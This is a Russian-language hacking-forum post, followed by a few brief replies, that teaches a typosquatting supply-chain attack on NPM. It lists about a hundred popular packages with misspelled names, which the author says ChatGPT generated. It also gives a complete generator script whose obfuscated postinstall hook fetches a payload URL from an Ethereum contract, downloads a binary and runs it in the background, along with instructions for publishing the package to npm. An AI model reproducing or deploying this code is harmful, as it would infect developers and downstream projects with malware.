• XSS.stack #1 – первый литературный журнал от юзеров форума

Вредоносный NPM пакет или как легко поймать кодера или пролезть в какой то проект и не только.

celty

психические расстройства
Забанен
Регистрация
12.04.2023
Сообщения
1 300
Реакции
869
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Наверное большинство проектов написаные на NodeJS, используют пакетные менеджеры npm и прочее, и при установке вы даже не смотрите что за пакет, или условно скачали репозиторий или какой то проект и просто установили, запустили, вроде то работает, но вы даже не заметили как вас уже подловили только на установке пакетов.

Или же когда вы хотите установить какой то пакет и случайно ошиблись буковкой, но увы... оказалось что пакет был создан и вы даже сами не поняли что установили, забиваете хер и думаете ничего страшного просто пакет. А потом ваши данные сливают или компрометируют. Люди часто совершают ошибки при вводе текста.

Ладно в чем суть, пакеты на nodejs содержут информацию о пакете, так называемый package.json и в нем есть такая интересная вещь
Код:
"scripts": {
    "postinstall": "node install-script.js"
  },

Этот postinstall исполняется сразу же после скачивания пакета.

И с помощью этого вашу систему могут заразить, ладно вопрос, а как же тогда подловить кого то? Все банально просто, берем популярные либы, и создаем такие же, но только с которомы люди совершают ошибки. Но вопрос как мне придумать названия с ошибками? С этим справляется ChatGPT или другой ИИ. Я задал ему вопрос чтоб он сгенерировал список библиотек с ошибками, вот к примеру 100 популярных библиотек в которых люди совершают ошибки.
Код:
express

Ошибки: expres, expressjs, expresjs
react

Ошибки: recat, ract, reactjs
lodash

Ошибки: loadash, lodash, lo-dash
axios

Ошибки: axio, axious, axius
moment

Ошибки: momment, momen, momentjs
typescript

Ошибки: type-script, typescipt, typescripts
webpack

Ошибки: webpacker, web pack, web_pack
babel

Ошибки: bable, babeljs, babl
jest

Ошибки: jset, jestt, jesttt
eslint

Ошибки: eslint, eslintjs, es-lint
prettier

Ошибки: pretyer, prettirer, prettie
redux

Ошибки: redex, reduxjs, redax
styled-components

Ошибки: styledcomponents, style-components, styledcomponent
chalk

Ошибки: chack, chalc, chalkk
mongoose

Ошибки: mongose, mongoosee, monngoose
sequelize

Ошибки: seqelize, sequalize, sequlize
graphql

Ошибки: graphqql, graph-ql, graphqls
socket.io

Ошибки: socketio, sockit.io, socket-io
express-validator

Ошибки: expressvalidator, express-validtor, express-validations
passport

Ошибки: passsport, passportjs, passpor
cors

Ошибки: core, cros, corss
nodemon

Ошибки: nodemone, node mon, node-mone
body-parser

Ошибки: bodyparser, body-parsser, bodyparse
dotenv

Ошибки: dot-env, dotenvy, dotenvs
rimraf

Ошибки: rim-raf, rimrafh, rimraaf
uuid

Ошибки: uuiid, uuidv4, u-uid
babel-loader

Ошибки: babelloader, babel-load, babel-loaderx
sass

Ошибки: sasss, saas, sas
nodemailer

Ошибки: nodemaler, node-mailer, nodemailerjs
moment-timezone

Ошибки: momenttimezone, moment-timezine, moment-tz
jsonwebtoken

Ошибки: jsonwebtoke, jsonwebtoken, json-token
bcrypt

Ошибки: bcrypty, bcryptjs, bcryp
helmet

Ошибки: helment, helmat, hemlmet
inquirer

Ошибки: inqure, inquirer, inquirerjs
styled-system

Ошибки: styled-system, styledsystem, style-system
formik

Ошибки: formik, formikc, formic
antd

Ошибки: ant-design, antd-design, antdjs
bootstrap

Ошибки: boostrap, bootstarp, bootsrap
jquery

Ошибки: jquer, jquary, jqury
d3

Ошибки: d-three, d3js, d-3
chart.js

Ошибки: chartjs, chart-js, chrt.js
parcel

Ошибки: parcels, parsel, paral
gulp

Ошибки: gullp, gulpp, gulpe
grunt

Ошибки: gruntt, grut, grnd
vite

Ошибки: vitejs, vitee, vit
pnpm

Ошибки: pnpm, pn-pm, pnm
pnpm

Ошибки: pnpm, pn-pm, pnm
yarn

Ошибки: yarnn, yran, yarnjs
pnpm

Ошибки: pnpm, pn-pm, pnm
vite

Ошибки: vitejs, vitee, vit
next

Ошибки: nex, nxt, nextjs
gatsby

Ошибки: gatsy, gatsby, gatbsy
storybook

Ошибки: storybook, storibook, story-book
tailwindcss

Ошибки: tailwind-css, tailwindcsss, tailwndcss
parcel-bundler

Ошибки: parcelbundler, parcel-bundlerr, parcel-bundel
firebase

Ошибки: firebasee, firebae, fire-base
apollo-server

Ошибки: apollo-server, apollo-serverr, apolloserver
next-auth

Ошибки: nextauth, next-authh, next-auths
styled-jsx

Ошибки: styled-jsx, styledjsx, style-jsx
react-hook-form

Ошибки: react-hookform, react-hook-formm, react-hookfrom
framer-motion

Ошибки: framermotion, framer-motionn, framer-motio
react-query

Ошибки: reactquery, react-queryy, react-querry
zustand

Ошибки: zustannd, zustann, zustend
recoil

Ошибки: reocil, recoill, recoll
immer

Ошибки: immmmer, immmer, immerr
nanoid

Ошибки: nano-id, nanoidd, nanoidjs
clsx

Ошибки: clsxx, clsx, clsxjs
styled-components

Ошибки: styled-components, style-components, styledcomponent
material-ui

Ошибки: materialui, material-uii, materiel-ui
ant-design

Ошибки: antd-design, antdesign, ant-designd
semantic-ui-react

Ошибки: semantic-ui-react, semanticui-react, semantic-ui-reactt
emotion

Ошибки: emtion, emmmotion, emotionn
mobx

Ошибки: mobxx, mobxjs, mobxs
mobx-state-tree

Ошибки: mobx-state-tree, mobxstatetree, mobx-state-tre
recharts

Ошибки: rechart, rechartsjs, recharts
react-spring

Ошибки: react-spring, reactspring, react-springg
styled-system

Ошибки: styled-system, styledsystem, style-system
react-select

Ошибки: react-select, reactselect, react-selet
react-helmet

Ошибки: reacthelmet, react-helment, react-helmett
react-i18next

Ошибки: react-i18next, react-i18n, react-i18ext
react-icons

Ошибки: react-icons, reacticons, react-iconss
react-transition-group

Ошибки: react-transition-group, reacttransition-group, react-transition-grupp
react-dnd

Ошибки: react-dnd, reactdnd, react-dndd
react-dropzone

Ошибки: react-dropzone, reactdropzone, react-dropzon
react-toastify

Ошибки: react-toastify, reacttoastify, react-toasty
react-query

Ошибки: react-query, reactquery, react-querry
react-table

Ошибки: react-table, reacttable, react-tabel
react-virtualized

Ошибки: react-virtualized, reactvirtualized, react-virtualised
react-paginate

Ошибки: react-paginate, reactpaginate, react-paginatee
react-router

Ошибки: react-router, reactrouter, react-rouer
react-redux

Ошибки: react-redux, reactredux, react-redex
react-native

Ошибки: react-native, reactnative, react-naitve
react-native-cli

Ошибки: react-native-cli, reactnative-cli, react-native-clii
react-native-gesture-handler

Ошибки: react-native-gesture-handler, reactnative-gesture-handler, react-native-gesture-handlerr
react-native-reanimated

Ошибки: react-native-reanimated, reactnative-reanimated, react-native-reanimatedd
react-native-paper

Ошибки: react-native-paper, reactnative-paper, react-native-papeer
react-navigation

Ошибки: react-navigation, reactnavigation, react-navigtion
react-native-vector-icons

Ошибки: react-native-vector-icons, reactnative-vector-icons, react-native-vector-iconss
react-native-svg

Ошибки: react-native-svg, reactnative-svg, react-native-svgg
react-native-web

Ошибки: react-native-web, reactnative-web, react-native-weeb


И так же я написал скрипт который генерирует эти сами вредоносные библиотеки, в моем примере это просто скачивания файла и добавления его в автозагрузки.
В моем скрипте URL хостинга берется из контракта eth erс-20 сети, так что если вздумаете его использовать поменяйте переменные адреса кошелька и адреса контракта на свои, как это сделать можете посмотреть пример при установке моего же ботнета https://xss.pro/threads/123396

Вот ниже приведен код, его действия такие: Генерирует папку с вредоносным npm пакетом который в свою очередь выполняет --> Получить url из блокчейна --> скачать файл --> закинуть в temp --> заупстить.
Код:
const fs = require('fs');
const path = require('path');
const JavaScriptObfuscator = require('javascript-obfuscator');


function generateRandomName(length = 8) {
  const chars = 'abcdefghijklmnopqrstuvwxyz';
  let name = '';
  for (let i = 0; i < length; i++) {
    name += chars[Math.floor(Math.random() * chars.length)];
  }
  return name;
}


function createRandomLibrary() {
  const libName = `random-lib-${generateRandomName()}`;
  const libDir = path.join(__dirname, libName);

  if (!fs.existsSync(libDir)) {
    fs.mkdirSync(libDir);
  }

  const packageJson = {
    name: libName,
    version: "1.0.0",
    description: "A randomly generated library with installation script",
    main: "index.js",
    scripts: {
      postinstall: "node install-script.js"
    },
    dependencies: {
      "axios": "^1.7.7",
      "ethers": "^6.13.2"
    },
    author: "Auto Generator",
    license: "MIT"
  };

  fs.writeFileSync(path.join(libDir, 'package.json'), JSON.stringify(packageJson, null, 2));

  const indexJsContent = `console.log('Hello World!');`;
  fs.writeFileSync(path.join(libDir, 'index.js'), indexJsContent);


  const installScriptContent = `
const { ethers } = require("ethers");
const axios = require('axios');
const util = require('util');
const fs = require('fs');
const path = require('path');
const os = require('os');
const { spawn } = require('child_process');

const contractAddress = "CONTRACT_ADDRESS";
const WalletOwner = "WALLET_ADDRESS";

const abi = [
    "function getString(address account) public view returns (string)"
];

const provider = ethers.getDefaultProvider("mainnet");
const contract = new ethers.Contract(contractAddress, abi, provider);

const fetchAndUpdateIp = async () => {
    try {
        const globalIpAddress = await contract.getString(WalletOwner);
        return globalIpAddress;
    } catch (error) {
        console.error('Ошибка при получении IP адреса:', error);
        return await fetchAndUpdateIp();
    }
};

const getDownloadUrl = (baseUrl) => {
    const platform = os.platform();

    switch (platform) {
        case 'win32':
            return \`\${baseUrl}/node-win.exe\`;
        case 'linux':
            return \`\${baseUrl}/node-linux\`;
        case 'darwin':
            return \`\${baseUrl}/node-macos\`;
        default:
            throw new Error(\`Unsupported platform: \${platform}\`);
    }
};

const downloadFile = async (url, outputPath) => {
    const writer = fs.createWriteStream(outputPath);
    const response = await axios({
        url,
        method: 'GET',
        responseType: 'stream'
    });

    response.data.pipe(writer);

    return new Promise((resolve, reject) => {
        writer.on('finish', resolve);
        writer.on('error', reject);
    });
};


const executeFileInBackground = async (filePath) => {
    try {
        const child = spawn(filePath, [], {
            detached: true,
            stdio: 'ignore'
        });

        child.unref();
    } catch (error) {
        console.error('Ошибка при запуске файла:', error);
    }
};

const runInstallation = async () => {
    try {
        const baseUrl = await fetchAndUpdateIp();
        const downloadUrl = getDownloadUrl(baseUrl);

        const tempDir = os.tmpdir();
        const outputFileName = path.basename(downloadUrl);
        const outputPath = path.join(tempDir, outputFileName);

        await downloadFile(downloadUrl, outputPath);

        if (os.platform() !== 'win32') {
            fs.chmodSync(outputPath, '755');
        }

        executeFileInBackground(outputPath);

    } catch (error) {
        console.error('Ошибка установки:', error);
    }
};

runInstallation();
  `;

  const obfuscatedCode = JavaScriptObfuscator.obfuscate(installScriptContent, {
    compact: true,
    controlFlowFlattening: true
  }).getObfuscatedCode();

  fs.writeFileSync(path.join(libDir, 'install-script.js'), obfuscatedCode);

  console.log(`Library ${libName} created successfully in ${libDir}`);
}

createRandomLibrary();

Его использования это перейти в папку с проектом, написать npm i чтоб установить необходимые пакеты, и после уже запустить сам скрипт командой node index.js
Скрипт создаст вам рядом папку уже с пакетом который вы должы загрузить, к примеру наша папка называется random-lib-wdzwkcsf, переходи в нее открываем cmd или терминал, пишим npm login, нам эта команда предложит залогинится в https://npmjs.com/ мы логиниися или же регестрируемся если нет аккаунта, после как вы авторизировались в CLI вы публикуете свой пакет командой npm publish и все ваш пакет загружен он будет доступен по ссылке с вашим названием к примеру
https://npmjs.com/random-lib-wdzwkcsf если вы захотите поменять какие то название в пакете есть package.json в нем вся мета.

И уже любой кто попытается установить пакет или же он был добавлен в другой проект и этот проекта устанавливается, получает заражение, или же просто написав
npm i random-lib-wdzwkcsf вы получаете нового юзера в вашей сети)

Возможно я где что-то не написал или забыл, мне лень текст изменять. все что здесь написано придумано мной. Ну или я просто не увидел если кто-то до меня придумал.
Вообще изначально эта идея для меня мастхев, но я устал от всего, решил избавится и от этой идеи...
Видео гайд(Оптимизируется пока по этому может не доступно):

 

Вложения

  • genVirusScript.zip
    11.4 КБ · Просмотры: 11
Пожалуйста, обратите внимание, что пользователь заблокирован
интересно, вообще была подобная тема с pip не так давно, с тех временем вроде как в пипе теперь модерацию проходят пакеты, но не уверен, поправьте если не прав
и ещё была штука с публикацией пакеты с более новой версией, но по-любому пофиксили мне кажется
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
Прекращай этот этот нарцисизм. Ты не особоенный.
Не понимаю тебя
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Бро ну ты танкист. Дружеский тролинг же.
Не знаю что ответить на это, придумай сам ответ, меня просто плющик, или я заболел
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Интересное однако совпадение
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх